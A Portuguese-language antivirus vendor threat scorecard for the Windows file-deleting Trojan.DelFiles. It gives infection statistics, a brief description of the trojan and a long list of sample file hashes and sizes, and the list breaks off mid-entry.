Trojan.DelFiles
Cartão de pontuação de ameaças
EnigmaSoft Threat Scorecard
Os EnigmaSoft Threat Scorecards são relatórios de avaliação para diferentes ameaças de malware que foram coletadas e analisadas por nossa equipe de pesquisa. Os Scorecards de Ameaças da EnigmaSoft avaliam e classificam as ameaças usando várias métricas, incluindo fatores de risco reais e potenciais, tendências, frequência, prevalência e persistência. Os Scorecards de Ameaças da EnigmaSoft são atualizados regularmente com base em nossos dados e métricas de pesquisa e são úteis para uma ampla gama de usuários de computador, desde usuários finais que buscam soluções para remover malware de seus sistemas até especialistas em segurança que analisam ameaças.
Os Scorecards de Ameaças da EnigmaSoft exibem uma variedade de informações úteis, incluindo:
Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.
Nível de gravidade: O nível de gravidade determinado de um objeto, representado numericamente, com base em nosso processo de modelagem de risco e pesquisa, conforme explicado em nossos Critérios de Avaliação de Ameaças .
Computadores infectados: O número de casos confirmados e suspeitos de uma determinada ameaça detectada em computadores infectados conforme relatado pelo SpyHunter.
Consulte também Critérios de Avaliação de Ameaças .
| Popularity Rank: | 449 |
| Nível da Ameaça: | 10 % (Normal) |
| Computadores infectados: | 103,492 |
| Visto pela Primeira Vez: | January 19, 2011 |
| Visto pela Última Vez: | April 23, 2026 |
| SO (s) Afetados: | Windows |
O Trojan.DelFiles é um Trojan nocivo, que se disfarça como a atualização de um software legítimo, para enganar os usuários e fazer com que eles baixem-no. O Trojan.DelFiles usa algoritmos para procurar e apagar vários arquivos ou pastas no PC infectado. O Trojan.DelFiles tem como alvo arquivos essenciais que vão deteriorar o desempenho do sistema e torná-lo vulnerável a outros ataques. Use uma ferramenta anti-malware atualizada, para proteger o seu PC contra o Trojan.DelFiles.
Índice
Relatório de análise
Informação geral
| Family Name: | PUP.Bat2Exe.A |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
dbc2ad8e2bea3e094489f6cb4c7256b9
SHA1:
d225bd08b44624049ac7c912ac0978c814f68b41
Tamanho do Arquivo:
167.42 KB, 167424 bytes
|
|
MD5:
7064db31918ec9c3077a9c60dcaee9d1
SHA1:
a76667a5775b60ae2c98af597649783d6b4b57ea
Tamanho do Arquivo:
282.62 KB, 282624 bytes
|
|
MD5:
c3f6c7d16afe264d783a7f9a88c00501
SHA1:
34aeed84b28304d8dd5d7c1787320a1e25f8b900
Tamanho do Arquivo:
780.92 KB, 780923 bytes
|
|
MD5:
ea15f2c31ece01abc641448e1bb506a4
SHA1:
6df5a47d76c061ae34982fad94f0bf0d8cdf6231
Tamanho do Arquivo:
121.86 KB, 121856 bytes
|
|
MD5:
aca88d68d7a18f6b528e40966441a1dd
SHA1:
196abdfb4ff77993f88f162aff2caca8cf0ee27d
Tamanho do Arquivo:
91.14 KB, 91136 bytes
|
Show More
|
MD5:
98c2ac1d94c50edeafd1271cfa6d470f
SHA1:
61fcc5c92c1943773edc11473825897339dec7b4
Tamanho do Arquivo:
91.14 KB, 91136 bytes
|
|
MD5:
fb2eb0c78504bea18105e888e815a918
SHA1:
d758b4b1aa5b98ebb13418188d2e5dca9f673b9f
Tamanho do Arquivo:
91.14 KB, 91136 bytes
|
|
MD5:
f83a83492db731c5abce971317d93f11
SHA1:
be7a72118eef87ad53669567d3ff684017ab2c3b
Tamanho do Arquivo:
780.92 KB, 780923 bytes
|
|
MD5:
8f52b9d40a2f67219ec6284cca642ee7
SHA1:
652f6c89bf9170d41d6213b77a493c24ca74e2a8
Tamanho do Arquivo:
5.77 MB, 5770421 bytes
|
|
MD5:
64dc11b17d0890de61acca9ff0f684e3
SHA1:
2e64f09a8a3e093d79e20affff83e328043f29ca
Tamanho do Arquivo:
158.72 KB, 158720 bytes
|
|
MD5:
7bbbde5e7126090f416d435f9d76cca7
SHA1:
a3f638b0b99ca22507bd4be393f7b7b8477f85f5
Tamanho do Arquivo:
368.64 KB, 368640 bytes
|
|
MD5:
33107d8af7b74bc311600f4021720058
SHA1:
2fa6bb3dc5eb9688f3ab7d445874933b20f0f7d6
Tamanho do Arquivo:
321.54 KB, 321536 bytes
|
|
MD5:
1b1a5704a4ac19e32e369e8f3e3f26ba
SHA1:
16bf8b3227a582f8ed38c961031af79582ed102b
Tamanho do Arquivo:
510.98 KB, 510976 bytes
|
|
MD5:
0094afac405f0e4f116c13b5d3a95ea7
SHA1:
c2e0d1fbc5023b12e4b5ed07763dfc87c4af277b
Tamanho do Arquivo:
90.11 KB, 90112 bytes
|
|
MD5:
bb7281c78b789d595492f0bd8630e968
SHA1:
cf5a16d549295e22d21b4dd1060b0b4a3cb13472
Tamanho do Arquivo:
4.28 MB, 4279296 bytes
|
|
MD5:
ef2fb9afb94888b324a2a345547f3523
SHA1:
cf437befbe59db7af04b49ad48531326a2e01144
Tamanho do Arquivo:
668.26 KB, 668265 bytes
|
|
MD5:
54e68f4698971d7d9f0af8ff032a62f3
SHA1:
a1dff17507721b4a8a0cd8cf8ef3d135a14c1f33
Tamanho do Arquivo:
2.92 MB, 2915840 bytes
|
|
MD5:
e759a8beaf634485cbbf0c1e043b3537
SHA1:
611af08fa125bb06c6ffda91f07bb071740f1cb5
Tamanho do Arquivo:
136.70 KB, 136704 bytes
|
|
MD5:
711a3008e61865f52887d4f82351fa56
SHA1:
36e41c15e33fae9a43bf653bc73f8733120e5020
Tamanho do Arquivo:
5.89 MB, 5888512 bytes
|
|
MD5:
eff3d11f57c064ad49152be621461419
SHA1:
f098abb55a7f35ca96f96647ba5ffd66bad634c0
Tamanho do Arquivo:
470.66 KB, 470663 bytes
|
|
MD5:
44d2facfca05c6799e8b483d6f1a7bfa
SHA1:
b7aef8840a2d2c86aa41fa78dd37a365f9c03216
Tamanho do Arquivo:
968.70 KB, 968704 bytes
|
|
MD5:
27305d521c3c612be29d6eed707e38c1
SHA1:
1ac14b67f79ca60c6d2a7f531dbeda86153edb92
SHA256:
FE0C81C0E873CD5E3633E4C6AE2EBB27FFB0089CAD2B587693F36B21DB4A27FE
Tamanho do Arquivo:
126.46 KB, 126464 bytes
|
|
MD5:
62e794106d4c665b8f164f0b6a58e07e
SHA1:
7afe06c3f36649a6cf3c859b97c975ed20018f55
SHA256:
C72655A71B249BB3F179ED976B62ADDA9F77C4C02E1A42CE2DE66F43C19BF418
Tamanho do Arquivo:
91.14 KB, 91136 bytes
|
|
MD5:
84733aecb9b3ad0a1c25ea3b7b2b0796
SHA1:
525e45acb542f56394bd478596a58df03e4e6aa6
SHA256:
9F6FD60EAFC9995186D3D86E873D53FD01DED10D1A83532E03D0FF12AD928A42
Tamanho do Arquivo:
956.42 KB, 956416 bytes
|
|
MD5:
50dc50276234b08b290b2435cd33d66d
SHA1:
69e22ec07d8ed9552db47640eca6bf3eacec4f99
SHA256:
D172F7E6E5716094AD618470EB59EFF61243797B4714D3E300C23E4881DCFA64
Tamanho do Arquivo:
93.18 KB, 93184 bytes
|
|
MD5:
4e8531564c58b43dd208def76f32b5e9
SHA1:
acf10261800b7fea776152012d7caadcbc416a11
SHA256:
1E73498E47017F4F8A5D792B6502A7822F08C21A0CEC5C21AC0264CF2476C59F
Tamanho do Arquivo:
97.79 KB, 97792 bytes
|
|
MD5:
3aa4cb59c91dfe350f45dc865b5b457c
SHA1:
646ad98b2ab8cf510b2ef4fd6204ce1500b77d45
SHA256:
5FAB40B26A0AB3007FF49D96E58BF56E3E65FE53E9467CCF5DCC94BCFF427F7E
Tamanho do Arquivo:
94.21 KB, 94208 bytes
|
|
MD5:
a73c53dfd8a34d991176b786c91ccaf3
SHA1:
26b41b01347b7c83bacf99f7bedc9658e40e3a8b
SHA256:
CE91284CEE3F03F997602FD025171B8724266D057529C3E3782EB44F7D69CF68
Tamanho do Arquivo:
229.56 KB, 229565 bytes
|
|
MD5:
4dfd36b34268b9cf5ed20ea50920b4c7
SHA1:
9e792801209c146191d8c0b5f9d10ee57218f5e0
SHA256:
465F87D9B1881D2C5719C880DE1DD6B420F6CE714516F7C33D4ACF4E135781D3
Tamanho do Arquivo:
88.06 KB, 88064 bytes
|
|
MD5:
83f00df7f4e3a241effce7622325422b
SHA1:
9158371994218b3f5440f0d85f97d4cf5948f9c9
SHA256:
55E257B9866DD271C6239195418D48EF23A35371D6CF7B0BDB60A792A1AB2FE9
Tamanho do Arquivo:
76.80 KB, 76800 bytes
|
|
MD5:
9c5ed65b81671001c474f3eaf87ef011
SHA1:
8c301368e70ac29e4b6d63245ca15961eb89261a
SHA256:
71F0202525587D7A3C53B8E9BA4EC5F4CAA20419B1F334E6BBFAFCC3CE9A54BA
Tamanho do Arquivo:
91.14 KB, 91136 bytes
|
|
MD5:
9307e91790fd277cf0ff79d332934113
SHA1:
916064be4febf2f907f7e0918e9df43ed25e548b
SHA256:
7106898899E83FF1E79242CAA244C06C2259048E2C87E841AA192D243929E7DC
Tamanho do Arquivo:
116.74 KB, 116736 bytes
|
|
MD5:
ad238f5a9f0972b518721928cd2cf3c9
SHA1:
113cb3a4314efa2c3749f0abe28cc465b1e95fdf
SHA256:
76CF4C4162DBC5E9A941A4602114C10FECCC2B0E4DE7949A27837C0E96C2CF23
Tamanho do Arquivo:
9.03 MB, 9025536 bytes
|
|
MD5:
cd48079e7c3e51457d71400f2293f541
SHA1:
6b67be539f6c0f5d9e6520bfd013529933137bce
SHA256:
BA32274C883A2B368C82721AF1BD07EAF14564CC3CB760B13E99BE901ABE31ED
Tamanho do Arquivo:
272.90 KB, 272896 bytes
|
|
MD5:
fa9b2c43fba4b72c16cf337417199d84
SHA1:
6267f9c66a05165115541009c32159f5936f6679
SHA256:
7948C9809C24C5AD1428B00349D3B4A167DED5EFDAEE5B891447FD92B8F02DB9
Tamanho do Arquivo:
336.03 KB, 336030 bytes
|
|
MD5:
be58518615c8b78c9b9eaf06b3320b80
SHA1:
9523ce1bd3b1353ff89636a321effa4f59cf5fa1
SHA256:
45747B46D139655CC4EF9252AC5CFAF02CC3A38DBD0E6B2DD73FBC72BCE5F157
Tamanho do Arquivo:
156.16 KB, 156160 bytes
|
|
MD5:
41254c326811f4b7e581b5cbd6b8fb2a
SHA1:
30ff8cde54cc6567ef0b67100092d1c585ae24d6
SHA256:
72FD558E134066F790358133D03A0F136038CC27D025BB6F529A057E3EAA02FC
Tamanho do Arquivo:
92.67 KB, 92672 bytes
|
|
MD5:
f038665424ec73b3d7328734337c2380
SHA1:
6d13efbb7898e835b981994ae9bebb8ae0268876
SHA256:
BDBFDD86A59CE15603DEF9148DCAB6F07969D6007E26451456CAFA2942B0499C
Tamanho do Arquivo:
112.13 KB, 112128 bytes
|
|
MD5:
1ffd50fceaf28a727a34fd6940c4afa7
SHA1:
5f0378c1065dbdfb7adf85bbf255e42de8ba03ad
SHA256:
7732A01FEFC17C2C86EF2BA99FF92300758FE739E325C31404B8C0C517FFF91B
Tamanho do Arquivo:
780.96 KB, 780957 bytes
|
|
MD5:
515e7abaf968c50ea93e1604f2668041
SHA1:
1f9827912576f7d5492f8d8f0a547ed1fec26a0f
SHA256:
C543147962AB28CE416DE5B3834FE8D1882A1F3C5086E36C1802B5E95B460243
Tamanho do Arquivo:
780.92 KB, 780924 bytes
|
|
MD5:
1458cbaf60a19877bdd5798e2c784127
SHA1:
4c38ca9c6a422f02c1ce1f7460b8d627c891b6cc
SHA256:
68AD1721A012D2E90A5BD1B7D2390666899F2E935CD90683ED9DB6F04E1ECE68
Tamanho do Arquivo:
92.16 KB, 92160 bytes
|
|
MD5:
2a623bfbc8b38e9bb5b67060affb6eed
SHA1:
4816fadcf00e01e862d4de2d0e54942038da2d4a
SHA256:
D78AD7347E5B884465CD3542F6BC5DDAC0E1027C6A8FF386AE42A74EB59C10CB
Tamanho do Arquivo:
92.67 KB, 92672 bytes
|
|
MD5:
b96a44d52252b5b0e52f9d004d6270d8
SHA1:
35343bd6d59cd3ac4369bb2f922f1c19eaea62d6
SHA256:
CB5545FD648B390488A3ECC9100DD727E564730D1F23E7FC961AE783D20B0527
Tamanho do Arquivo:
360.96 KB, 360960 bytes
|
|
MD5:
212200373194d18eeac0f4cb391d78de
SHA1:
3243485130ab102488bf7c15742244f584b94940
SHA256:
22915C2247663A8FBC9D4A004F03A06E7C9261F6749A3828DF0FDA679013CC4D
Tamanho do Arquivo:
780.92 KB, 780923 bytes
|
|
MD5:
2abf9d659e6591f6162588e5e37dbf4e
SHA1:
c2b799eafc9e626756c3110dab3e1c67970c9d14
SHA256:
B3ECD7878538199AD8B269DBE16BA1661A6547B8750FF2959B59F96E1363B858
Tamanho do Arquivo:
6.73 MB, 6734848 bytes
|
|
MD5:
1aadbc37b820facc8a4cd3bde718c097
SHA1:
bb8d2addb7c78aaed8748ea2e84ef1998c3644c4
SHA256:
9D79554F142D4FC2C609E6EF73DE2FD9C4E14849A7BE1F88B3C925FD7323B073
Tamanho do Arquivo:
142.34 KB, 142336 bytes
|
|
MD5:
d0527c4ef269695561a659d2bf4c8cb5
SHA1:
e975484ce976b767fa7e370ebae11e8e7e089d79
SHA256:
A38AD21C0D8E6C6609EE80E1EDAD8FED68B07A153D0BEE930A40E812C2A7D446
Tamanho do Arquivo:
93.18 KB, 93184 bytes
|
|
MD5:
fd2bfc151dc6a9df5c0c55b9d4481cb3
SHA1:
f8177aa42d8b55c8eff12301431ae04e8b04d0be
SHA256:
5BF38C44C594A67DF0590D1AB9EC61E9B9294FB18FFF73DDB2FB25E4DA1E954E
Tamanho do Arquivo:
236.75 KB, 236752 bytes
|
|
MD5:
63071f7c0760c29d70c3d2c30163b377
SHA1:
95ef95c416ead7f3636f83d251f8b3ecf38fdf43
SHA256:
DF6A6E15DB0496CA6500ADBAA23F7C1FA9747AD8815E4625FEB5C28CB734E23D
Tamanho do Arquivo:
363.01 KB, 363008 bytes
|
|
MD5:
233506877bc5177e7610ae2c6c846002
SHA1:
737abceaa9c987a1cd8f6c5a652d61908d1628a7
SHA256:
E36A0F39144F6642757BD6339FC1F58668707A2FFA1BD55AB98FB2DEBEC9515F
Tamanho do Arquivo:
91.65 KB, 91648 bytes
|
|
MD5:
1aba70071de8134efeb686d9c53bcc58
SHA1:
4f1ebdc88c182664315e080dbfb7ef88b88b0e72
SHA256:
20573CF2732F03DC18A647911015DBC33A3B77BF39FF92E0C86CE33E49D35A7C
Tamanho do Arquivo:
99.84 KB, 99840 bytes
|
|
MD5:
32a6076a88f93d16f7e71036520e467c
SHA1:
96e87d891cb8f7e0006dfab04d60132cc35ef374
SHA256:
DB4A5F2730056EB191A4C9971C5CA2CC20B216533EAAF1BDD6DC6FE015B94007
Tamanho do Arquivo:
235.25 KB, 235255 bytes
|
|
MD5:
d9273ee44b97bcc01a0299a7c4403832
SHA1:
ccac3b7aac9a40078723632d48710d748a98a2ed
SHA256:
DC26CE7C6C2E109A4F28CFCD576AA0517B9417BD4091DA61CD0E32D969446C4E
Tamanho do Arquivo:
91.65 KB, 91648 bytes
|
|
MD5:
4e5eb174273acc983641e90973cc8e87
SHA1:
e68bbf42b0820e44e31d334b27f6092bfa6ff8a5
SHA256:
692995526092914D2BE177E8A70F656760C3890E06FA2AC64FCDAFEC4CBCFBD4
Tamanho do Arquivo:
781.00 KB, 780997 bytes
|
|
MD5:
f7b55502a71cef2d1e70d88aeeb63d73
SHA1:
bfd5a73a583a78464cb9f46d3799f6c9f47663ff
SHA256:
9EB6551959A913DE98898302EC764841BE357C0786038BDFA1C3D7F269D490A6
Tamanho do Arquivo:
1.06 MB, 1062912 bytes
|
|
MD5:
9cd23df0a386687365683bc6c34f53de
SHA1:
a51a3e1cf8bbd569d246a2a8a47141cf5c8da217
SHA256:
AB85A13E87C61D4FB36E4A67798DB17C6C7456F9FC72F22B3EE2653B4377ED04
Tamanho do Arquivo:
122.37 KB, 122368 bytes
|
|
MD5:
c7f3d6004382c49b3419ae1c57084d8e
SHA1:
d0bfbc95a066dfa10ebd5204abea7ed0e71e9a0d
SHA256:
3B0CE504CA358E791ECE743BC36C5C7FF592A3FC1DB68A105E1CAF74396738B9
Tamanho do Arquivo:
96.77 KB, 96768 bytes
|
|
MD5:
354555db5410519895c713e9344857ae
SHA1:
38e1bc03f2af7b84740626a783bc0da32ab8e085
SHA256:
18803AA975FAE8174C563A6635BC8C991CACDD1C3D914CE078B2BBCC3D5CEA54
Tamanho do Arquivo:
2.05 MB, 2046464 bytes
|
|
MD5:
44a48ae71dcb7222cb46e15ea6f1ea7e
SHA1:
034a828d1793b2544b48f0229977fa12d3fbbb98
SHA256:
E1198B766BEF7BDA8188E3F03FD74630E0CEB519352040C76C55A5560A3DF75D
Tamanho do Arquivo:
91.65 KB, 91648 bytes
|
|
MD5:
575c16142ce1b54aeb465aa9d7e36be2
SHA1:
6f31c89c6254614c79ef264d54dd72b2e77ddad9
SHA256:
7938A52F2CCAF73F14C35E28508B37705E28ED3ACB5F37F39F59D7200BA6A915
Tamanho do Arquivo:
91.14 KB, 91136 bytes
|
|
MD5:
f0d5c2ba9f8d022c1f3dceaddf89cb8d
SHA1:
4ca7ec198843a934160505cc44b9ab4bd97160ea
SHA256:
42DADFB0ADDDB6D97BF9AEE33FDA0FA90A77F0513AC1A92008C5C948675D981F
Tamanho do Arquivo:
97.79 KB, 97792 bytes
|
|
MD5:
b3436405182eebbd0c97e7c18d9f55a8
SHA1:
8db4e19e8a63f878c3a0cdc240f785881da46d6e
SHA256:
2BE130B0151EC30B506DA62D2A786797726E00058C9B17285945B4E9253D1845
Tamanho do Arquivo:
153.09 KB, 153088 bytes
|
|
MD5:
b49ccc90414a464b1a29c295379c79d3
SHA1:
09e8756bb75ee0813db9c63604dc4eef8df4f881
SHA256:
9EFC504F42A508727A607A17E8E65EE67424C5ECD777523467BF30007807AA5D
Tamanho do Arquivo:
154.62 KB, 154624 bytes
|
|
MD5:
cc6bcaec2e1fb42329e2de273a10b183
SHA1:
8c7f6eceac190cf8e4dcf67e95fe20d3776d54eb
SHA256:
B02C044ED01E258837B0D2CE23FC3C3B61A81EE1E0C973725132D0D158E2C50E
Tamanho do Arquivo:
9.01 MB, 9011200 bytes
|
|
MD5:
0579b8c677af29a747e7e2ae00eba0f5
SHA1:
7ceefaf975688fafb2b41e84cfe3ec3bf4d3716a
SHA256:
78598BD59A57336234CF2767B858CDDC74ECDAC16B3C05D93463376368C30A96
Tamanho do Arquivo:
463.87 KB, 463872 bytes
|
|
MD5:
2351c1f3d9cee39709bb95c5cb605c4d
SHA1:
101ff3d8b7ab0992813a52d8481678e22c5483f6
SHA256:
780BE98E4755BD0D5AADC6EC02CF316912F78C79863E480AEA16694C697D3EC5
Tamanho do Arquivo:
107.01 KB, 107008 bytes
|
|
MD5:
b0c4230049ad5ad1829a5ef8681adf7d
SHA1:
eb2d047a53585bb51a090f16b28e1298139f8bd7
SHA256:
10271A603F838B279076769D7D5335A5AB0A58B2B23E0D2F72C3C57DF22A20C6
Tamanho do Arquivo:
95.74 KB, 95744 bytes
|
|
MD5:
74c60b65a9c0e02e468d92bf5a214592
SHA1:
fcd8d46aeea4b94b00cf016d89be50a7649f3060
SHA256:
2CBFD3422B64C1FE5B3BE645DB0ECBBAF72D668881275B325E0DAAA95A0533A1
Tamanho do Arquivo:
93.18 KB, 93184 bytes
|
|
MD5:
4e462fc63406be55cba289c980e660cc
SHA1:
5bf59c257f6fd967c500ab5c32d75cb534cb96f2
SHA256:
08E165A11BA108E6D4A47AC5B03FD771324FBD12EEE3D87A5E5EF54DB4B71F0E
Tamanho do Arquivo:
780.95 KB, 780945 bytes
|
|
MD5:
0f70afa9732403dad13457d8c0f0d820
SHA1:
1b3e7b4f41d103a45749b5c9c8c116b5beb66db8
SHA256:
3DC496240D07ADEEC77E5A8E22938CE25CBA8DBE5E5767F19D3B8EFB9C0FAB44
Tamanho do Arquivo:
220.67 KB, 220672 bytes
|
|
MD5:
def23c86ab68222671fae59845745b48
SHA1:
5848459c23856fa50442bf774409cfa7b8aede72
SHA256:
8B587AEFD1710FDDED11C041BB2EB54F22C1077EDAA8D2D8A9A45F0FFB1983B5
Tamanho do Arquivo:
4.24 MB, 4242944 bytes
|
|
MD5:
dbc5a392f605b86207adc569ebc8dd0e
SHA1:
e122b0d913bcd7fda5ee9634e1815969d93516e4
SHA256:
A47A947494EB450D83F60549DA58943C181A04B87FA0C1DB7F258CC215AFBE8E
Tamanho do Arquivo:
90.62 KB, 90624 bytes
|
|
MD5:
a56b5306606a5509d276c4ffb25b7af3
SHA1:
499785c981152fc5e4a5c19cc3a691c081f1443d
SHA256:
876319D0371217CFD128DF97FEEDDDEA01583655F02656DB505FC4E62C205B02
Tamanho do Arquivo:
296.45 KB, 296448 bytes
|
|
MD5:
13bc83a97ec58f77ff29d3ebfe56a3be
SHA1:
139857b105d5ec2545e3bafedc71757e24d25fb3
SHA256:
E0DFB7602A057D0A992BC5E77544833AB142ADDFC3B0D029DEFE666D4907A888
Tamanho do Arquivo:
91.14 KB, 91136 bytes
|
|
MD5:
68b9786ed57c72bfdff965206c5a4949
SHA1:
eddd09fccbfb773e5c2f80c6bfe900216bd6aeb9
SHA256:
36450C5103B758702CB7956268E243391C71A632E2A1BF75D7A39346AEB8A533
Tamanho do Arquivo:
116.74 KB, 116736 bytes
|
|
MD5:
426a27519a8170d153790b4036efb1fe
SHA1:
4ad81beaf55f61f1ac6b0c4bf8b7e4321cae3ea1
SHA256:
12BFACB21000E5E40CE7813814D723F1C51FDDCEFD8D5350E4B218D202C06C75
Tamanho do Arquivo:
91.14 KB, 91136 bytes
|
|
MD5:
258191417ab3de44eeed73f1e897049e
SHA1:
d1875f531317d5956a6acd61330e11c4df8ddd46
SHA256:
861F43BAB9E9615F40535648AE8A0FC4D1296566440B85E6A34728F702E6DD1F
Tamanho do Arquivo:
91.14 KB, 91136 bytes
|
|
MD5:
f2d32a2d3c993c6084db085a849c9de2
SHA1:
4dbfe059934c3dc68445f48824a7b7e0877b1809
SHA256:
FAAFD73A85F7260AE9044CDE6C37BB62A243B9899A3D96E9C5E12C42699C22B7
Tamanho do Arquivo:
190.46 KB, 190464 bytes
|
|
MD5:
989b71e4dad1bf0d07d25b3572e63718
SHA1:
d5c99869b44b84e7443fec20544051f68f3334b4
SHA256:
E19A12BAE13E1490C48DCD253AAEB2ABDD0723089C5243BD53DD69E1B0F8119B
Tamanho do Arquivo:
236.03 KB, 236032 bytes
|
|
MD5:
9923e96b6cf20f11ad503a5127219e80
SHA1:
2ba5daed3d3faf91d68157582529745797496ea7
SHA256:
A7E4EFF5F2E9A8CA5581A550163A9165CFE14658F25690D798CF9EEEDEED5147
Tamanho do Arquivo:
1.68 MB, 1676987 bytes
|
|
MD5:
5b98f6f68f579edc85e6223ca8a3042f
SHA1:
6a9e97a1316a5242915a0819f9d4f2cb61914e4f
SHA256:
51CC7987D7E3D07DC2447939C9008366F6F89E63F3545B1CB02AA50AACD5ACA1
Tamanho do Arquivo:
2.91 MB, 2912768 bytes
|
|
MD5:
9622649e93dea1447287f2752b797674
SHA1:
b8fa40dc8af07621a4a5de690dd7409e69cb8488
SHA256:
E57F56D468F357249F9BD5D0C234F892C8231AC5B11F079563BB963894409D6A
Tamanho do Arquivo:
97.28 KB, 97280 bytes
|
|
MD5:
2d9bc6e284688eb01ceb547e82579d80
SHA1:
85bbf6bb464972a992416e208a37a0f587458b19
SHA256:
D7D33E0D2CFDD3294FD621D01885AD5D629B4CB9FEB776B6C24BF4D68462F224
Tamanho do Arquivo:
316.93 KB, 316928 bytes
|
|
MD5:
3d15ade4e5bef55b11b0169a5bfb6953
SHA1:
b03dd16b8d3f6ba28e24b6aad09a2f759d5a74e4
SHA256:
E0172580CE040F0DC5C5EAA33BC8B0B8549D2DF27A6811AAFACAE73591CB16F3
Tamanho do Arquivo:
91.65 KB, 91648 bytes
|
|
MD5:
668f8e1dddd4bf62f59fb0c9b7d40604
SHA1:
0932c3a3aac2cffdfc785eae523983025b062e8e
SHA256:
E651975805A8A5998FD8EA446831D044FE5960FA8BB42B649894A9F9612ED80A
Tamanho do Arquivo:
130.56 KB, 130560 bytes
|
|
MD5:
ca7406890e799963ed3930d17828aba7
SHA1:
c4c2c2e3fe358347d049eff740febcc510309a29
SHA256:
6A5E480D5850190E0A68E80FF27DCC8D55EE5BA9DC96663A54F841866E501F48
Tamanho do Arquivo:
148.48 KB, 148480 bytes
|
|
MD5:
476c79495df7be45db34ff978c06410d
SHA1:
7038d5ad3bdf865c821e76d9705379e1bc1212e7
SHA256:
A3F2023472EE03C9A9FDFEB9EB236351D5DF2D9798E4FAB77D3692EA57E6CF6A
Tamanho do Arquivo:
103.42 KB, 103424 bytes
|
|
MD5:
fbfaebf1d748f373e4396adfd52f93ca
SHA1:
acad8b42eb3b7fcddaf7702009b96bc0e090055a
SHA256:
32980B6E36CA5C448DF2DEAD18029C9BB381F80364F6EE5804B690A1F1473B8B
Tamanho do Arquivo:
91.65 KB, 91648 bytes
|
|
MD5:
a6f0370ef1e27e0e327b606426d6f674
SHA1:
cea7091372aab93c32d1d477b04a22d40efd3c73
SHA256:
6FDB680C9B61AC40D1775EAE070ADB53E2DF7519518D45908F3CADA4C9974D60
Tamanho do Arquivo:
126.46 KB, 126464 bytes
|
|
MD5:
91958e613a2180a3253a019aff84ffc8
SHA1:
1ef72cb9a5bb8c26f42695519b78b804039d01f7
SHA256:
790E61F174F58F442C41F19F01228006640CEF3551F1411FB60981C2B26C6300
Tamanho do Arquivo:
243.71 KB, 243712 bytes
|
|
MD5:
b76ee46490f81cd6d0eda9bb6d852786
SHA1:
35b06ce6cd3e452d762befd609029aa658ab6200
SHA256:
F73DF88966B130B352F263D7361BCCDC2A2E35CA36029C9B80B1526257C712E2
Tamanho do Arquivo:
254.98 KB, 254976 bytes
|
|
MD5:
faead3058857d2c6b820a7e6c40213e4
SHA1:
10af2d7837a09c856b03ad765730c731e8f1666c
SHA256:
40A95453FA61A6A37D3AECC953638D248F62BF9A9FBAB385DABA82A2D272E9D4
Tamanho do Arquivo:
780.96 KB, 780958 bytes
|
|
MD5:
1c505b6f2f5048569c02e87ad421e947
SHA1:
fe3a67dfaa0bab28943a0f9298a00912927fbd00
SHA256:
449340189BA239E6F274C38AF13E581FB8889DFCC9C472A0FF1E0807694D4F72
Tamanho do Arquivo:
353.28 KB, 353280 bytes
|
|
MD5:
9c0efef6a4ada092c40c4b7e57214564
SHA1:
8182a72c1867098313c8ffb1a75a91f4c02a6a75
SHA256:
9A47E7FC7F6F1D7E493C124DD947D1715AE006068533AB0922524A3E0687FEF8
Tamanho do Arquivo:
94.72 KB, 94720 bytes
|
|
MD5:
f3746414044a78f7e7423b5ce59e5518
SHA1:
1af7ff46390efecf87c80542cc55b657e798ff2c
SHA256:
C231F7030FA4E0B70062996CCBF6921CABA531A99B73472D139204FC306F2BF5
Tamanho do Arquivo:
465.92 KB, 465920 bytes
|
|
MD5:
7e708e0e3087ade9f8a43f7549f89b4d
SHA1:
fc9f289049ad936133d270088b0ecb871be37fb0
SHA256:
E5C607738B59344A4BFA54113A1CBAFF9F304D68EFFD4632C7E53305ECCF3F07
Tamanho do Arquivo:
4.86 MB, 4856832 bytes
|
|
MD5:
95966e805df9b6b2d47b94091bc5b1c0
SHA1:
195803d634a77ee79cb2f0e9e2745857d0d69ac6
SHA256:
14B71144E8E85BADB003B35460423B00FF8CB6F880948AC3A12031855A82D5CB
Tamanho do Arquivo:
2.30 MB, 2302632 bytes
|
|
MD5:
b5cf7881d6932938872bbdbc16178d6d
SHA1:
49396ef8499710bcf773fa5451442d84b2be6e27
SHA256:
85255BF8AD4F654F30452B1B7FA1103F7799DD3DED7F38664C75209AFD96FAE4
Tamanho do Arquivo:
69.12 KB, 69120 bytes
|
|
MD5:
d59b6b413b16e63b9b9e0304f382963e
SHA1:
a16eaa4d985cc71a519948587cf41e0765456bff
SHA256:
B7F48D7F145ADAC7B63FEB1D563C8CBFA392A97CD705DCE5B3D2665EEE3458C9
Tamanho do Arquivo:
346.11 KB, 346112 bytes
|
|
MD5:
9de08b707e854ec68fd124528c2a1712
SHA1:
3134e67488c6b20f4d102370d41f60ab8a3709c3
SHA256:
CB5ABB8BC78D966BD4025C072119A62DCED660CC7717820A693D9235C643617A
Tamanho do Arquivo:
91.14 KB, 91136 bytes
|
|
MD5:
a69283fefe856b7fc2dc2c3a650b2486
SHA1:
de793f9c899e63b0aef389bf0aa7222533250ac2
SHA256:
1FD850A90A463E4DA25BFB2E81CF7AC1FDE7A6DA0F753A99125D6C61AC7F0799
Tamanho do Arquivo:
92.16 KB, 92160 bytes
|
|
MD5:
9b6fffb0a44e39e6294d3526ad35ace5
SHA1:
7c7f3b1feb783dbab361113a9563c8de8df29e2e
SHA256:
0AE61D4672CA991FCFAEFBBABEC890D837C98DF7962A9C9986A4A98C686992CA
Tamanho do Arquivo:
640.00 KB, 640000 bytes
|
|
MD5:
3d3d134044e1d122a2e35c4a508ea2d3
SHA1:
82fb6cfb89d71447f7d9f415696af84d8900b27c
SHA256:
D4BB576CF87455D973F16FB8BB454AC9FE2E16F6C54947F8E5C534B495057BA7
Tamanho do Arquivo:
253.44 KB, 253440 bytes
|
|
MD5:
1acbdec5e70d0305371d547bf9ee5671
SHA1:
ee12a4a323cf403f2d2add2d149b7671dc4c094a
SHA256:
46FE46D58D2FD59540B5CDB3A7DB59540B0356C734A3DBE6694684A09D0F5999
Tamanho do Arquivo:
173.57 KB, 173568 bytes
|
|
MD5:
bed6849c2a55b900241abb474f8e6107
SHA1:
27fd58f1854d81fed514ed24e7bb878e120f8c08
SHA256:
B40D502048A2BF8CEF12935FEA634D97D5D2B8DAB4ADCEB7D08B41187D7BF159
Tamanho do Arquivo:
336.90 KB, 336896 bytes
|
|
MD5:
b953f377f497d340af09c8ecc67274f7
SHA1:
